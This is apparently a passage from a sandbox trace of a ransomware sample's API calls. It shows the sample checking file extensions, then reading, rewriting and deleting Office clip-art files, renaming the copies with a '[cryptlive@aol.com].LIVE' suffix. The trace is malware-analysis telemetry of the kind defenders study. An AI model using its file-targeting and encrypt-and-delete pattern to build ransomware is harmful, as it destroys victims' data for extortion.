Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.137] lstrlenW (lpString=".dbf") returned 4 [0134.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.138] lstrlenW (lpString=".1cd") returned 4 [0134.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.138] lstrlenW (lpString=".jpg") returned 4 [0134.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.138] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.138] lstrlenW (lpString="AN04206_.WMF") returned 12 [0134.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.149] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7668) returned 1 [0134.149] CloseHandle (hObject=0x2f8) returned 1 [0134.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0134.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.149] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.149] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.150] GetLastError () returned 0x0 [0134.150] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0134.151] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0134.152] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.152] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.153] SetEndOfFile (hFile=0x36c) returned 1 [0134.153] CloseHandle (hObject=0x36c) returned 1 [0134.153] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.153] SetEndOfFile (hFile=0x2f8) returned 1 [0134.156] CloseHandle (hObject=0x2f8) returned 1 [0134.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString=".doc") returned 4 [0134.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString=".docx") returned 5 [0134.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.158] lstrlenW (lpString=".pdf") returned 4 [0134.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString=".xls") returned 4 [0134.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.158] lstrlenW (lpString=".xlsx") returned 5 [0134.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.158] lstrlenW (lpString=".ppt") returned 4 [0134.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString=".zip") returned 4 [0134.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.158] lstrlenW (lpString=".rar") returned 4 [0134.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString=".bz2") returned 4 [0134.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString=".7z") returned 3 [0134.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString=".dbf") returned 4 [0134.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString=".1cd") returned 4 [0134.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.158] lstrlenW (lpString=".jpg") returned 4 [0134.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString=".doc") returned 4 [0134.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString=".docx") returned 5 [0134.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.159] lstrlenW (lpString=".pdf") returned 4 [0134.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString=".xls") returned 4 [0134.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.159] lstrlenW (lpString=".xlsx") returned 5 [0134.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.159] lstrlenW (lpString=".ppt") returned 4 [0134.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString=".zip") returned 4 [0134.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.159] lstrlenW (lpString=".rar") returned 4 [0134.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString=".bz2") returned 4 [0134.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString=".7z") returned 3 [0134.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString=".dbf") returned 4 [0134.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString=".1cd") returned 4 [0134.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0134.159] lstrlenW (lpString=".jpg") returned 4 [0134.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.160] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.160] lstrlenW (lpString="AN04225_.WMF") returned 12 [0134.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.160] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8492) returned 1 [0134.160] CloseHandle (hObject=0x2f8) returned 1 [0134.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0134.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.161] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.161] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.170] GetLastError () returned 0x0 [0134.170] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x212c, lpOverlapped=0x0) returned 1 [0134.172] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0134.173] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.173] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.173] SetEndOfFile (hFile=0x36c) returned 1 [0134.173] CloseHandle (hObject=0x36c) returned 1 [0134.174] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.174] SetEndOfFile (hFile=0x2f8) returned 1 [0134.176] CloseHandle (hObject=0x2f8) returned 1 [0134.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0134.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.177] lstrlenW (lpString=".doc") returned 4 [0134.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.177] lstrlenW (lpString=".docx") returned 5 [0134.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.178] lstrlenW (lpString=".pdf") returned 4 [0134.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString=".xls") returned 4 [0134.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.178] lstrlenW (lpString=".xlsx") returned 5 [0134.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.178] lstrlenW (lpString=".ppt") returned 4 [0134.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString=".zip") returned 4 [0134.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.178] lstrlenW (lpString=".rar") returned 4 [0134.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString=".bz2") returned 4 [0134.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString=".7z") returned 3 [0134.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString=".dbf") returned 4 [0134.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString=".1cd") returned 4 [0134.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString=".jpg") returned 4 [0134.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.178] lstrlenW (lpString=".doc") returned 4 [0134.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.178] lstrlenW (lpString=".docx") returned 5 [0134.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.178] lstrlenW (lpString=".pdf") returned 4 [0134.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString=".xls") returned 4 [0134.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.179] lstrlenW (lpString=".xlsx") returned 5 [0134.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.179] lstrlenW (lpString=".ppt") returned 4 [0134.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.179] lstrlenW (lpString=".zip") returned 4 [0134.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.179] lstrlenW (lpString=".rar") returned 4 [0134.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString=".bz2") returned 4 [0134.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString=".7z") returned 3 [0134.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.179] lstrlenW (lpString=".dbf") returned 4 [0134.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.179] lstrlenW (lpString=".1cd") returned 4 [0134.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0134.179] lstrlenW (lpString=".jpg") returned 4 [0134.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.179] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.179] lstrlenW (lpString="AN04235_.WMF") returned 12 [0134.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.180] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7804) returned 1 [0134.180] CloseHandle (hObject=0x2f8) returned 1 [0134.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0134.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.180] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.180] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.181] GetLastError () returned 0x0 [0134.181] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0134.182] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0134.184] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.184] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.184] SetEndOfFile (hFile=0x36c) returned 1 [0134.184] CloseHandle (hObject=0x36c) returned 1 [0134.184] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.184] SetEndOfFile (hFile=0x2f8) returned 1 [0134.188] CloseHandle (hObject=0x2f8) returned 1 [0134.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0134.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.189] lstrlenW (lpString=".doc") returned 4 [0134.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.189] lstrlenW (lpString=".docx") returned 5 [0134.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.189] lstrlenW (lpString=".pdf") returned 4 [0134.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.189] lstrlenW (lpString=".xls") returned 4 [0134.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.189] lstrlenW (lpString=".xlsx") returned 5 [0134.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.189] lstrlenW (lpString=".ppt") returned 4 [0134.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.189] lstrlenW (lpString=".zip") returned 4 [0134.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.189] lstrlenW (lpString=".rar") returned 4 [0134.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.189] lstrlenW (lpString=".bz2") returned 4 [0134.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.189] lstrlenW (lpString=".7z") returned 3 [0134.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.189] lstrlenW (lpString=".dbf") returned 4 [0134.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".1cd") returned 4 [0134.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".jpg") returned 4 [0134.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".doc") returned 4 [0134.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString=".docx") returned 5 [0134.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.190] lstrlenW (lpString=".pdf") returned 4 [0134.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString=".xls") returned 4 [0134.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.190] lstrlenW (lpString=".xlsx") returned 5 [0134.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.190] lstrlenW (lpString=".ppt") returned 4 [0134.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".zip") returned 4 [0134.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.190] lstrlenW (lpString=".rar") returned 4 [0134.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString=".bz2") returned 4 [0134.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString=".7z") returned 3 [0134.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".dbf") returned 4 [0134.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.190] lstrlenW (lpString=".1cd") returned 4 [0134.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0134.191] lstrlenW (lpString=".jpg") returned 4 [0134.191] lstrcmpiW (lpString1=".jpg", 